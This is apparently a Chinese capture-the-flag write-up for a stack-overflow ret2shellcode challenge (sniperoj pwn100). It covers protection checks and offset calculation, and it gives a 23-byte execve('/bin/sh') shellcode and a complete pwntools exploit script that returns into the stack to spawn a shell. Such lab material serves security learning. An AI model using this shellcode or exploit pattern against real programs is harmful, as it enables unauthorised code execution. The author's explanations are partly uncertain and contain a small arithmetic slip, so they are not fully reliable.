week3 T4


T4 ret2shellcode 2 (栈写入)

2023-01-15WP
sniperoj-pwn100-shellcode
考点:栈溢出 shellcode

0x01

file ,checksec检查保护机制

开启了PIE 地址变换

0x02

IDA中看看源码

发现已经有输出了buf的地址,因此随机化地址便可以进行绕过
继续分析发现read函数读入0x40字节,而buf分配的空间才0x10字节,存在栈溢出
打开string window,没有system和/bin/sh,应该是要写入shellcode了

0x03

先看看我们的空间能不能写下shellcode这里main函数里声明的buf只有0x10即16字节,属于局部变量,空间分配在栈上
gdb动态调试,(其实IDA能看出来,就是不确定对不对就是了)

我们计算buf的偏移量为rbp - rsp = 0x7fffde3d2820 - 0x7fffde3d2810 = 10,再加上rbp 8字节为0x18即24字节

而我们用shellcraft生成的shellcode时44字节的,显然已经超过了
于是我们想找一个长度较小的shellcode来写入,但是由于某些我还没搞很懂的原因,我们必须要将把shellcode放在返回
地址的后面
那放在后面的话是不是44字节的shellcode就可以使用了呢?其实也不行,要注意到read函数是读取0x40字节的,这就使得读取的字符串长度有一定的限制。这0x40字节的数据,既要包括填充的垃圾数据,也要包括shellcode的返回地址和shellcode的内容,我们还得计算一下允许的shellcode的长度
0x40 - ( 0x10 + 8 ) - 8 = 32
(0x10+8)为造成溢出填充的垃圾数据,后面8为是shellcode地址的长度,所以构建的shllcode必须在32以内
之前使用的shellcraft.sh()生成的shellcode有44字节,在这里只有32字节,因此并不适用

shellcode=”\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05”

一个找shellcode的网站

https://www.exploit-db.com/shellcodes
http://shell-storm.org/shellcode/

这个shellcode只有23个字节,短小精悍,适合放在栈中去执行

写exp (发现一个地方:就是正常python代码不能在开头留空格)

from pwn import *

p = process('./shellcode')
p.recvuntil('[')
addr = p.recvuntil(']', drop=True)
p.recvuntil('Now give me your answer')
shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

p.sendline(b'a'*24 + p64(int(addr,16)+32) + shellcode)

p.interactive()

这里我们只知道一个确定的buf的addr,shellcode的地址要从buf的地址推出来,也就是int(addr,16)+32

0x04

为什么不可以找一个长度小于24的shellcode直接写入buf中呢?而非要先填充buf再返回至写shellcode的地方呢?
在网上找到一个解释不知道对不对

因为其本身是有push指令的,如果我们把shellcode放在返回地址的前面,在程序leave的时候会破坏shellcode,所以我们将其放在后面


文章作者: lmarch2
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 lmarch2 !
评论
  目录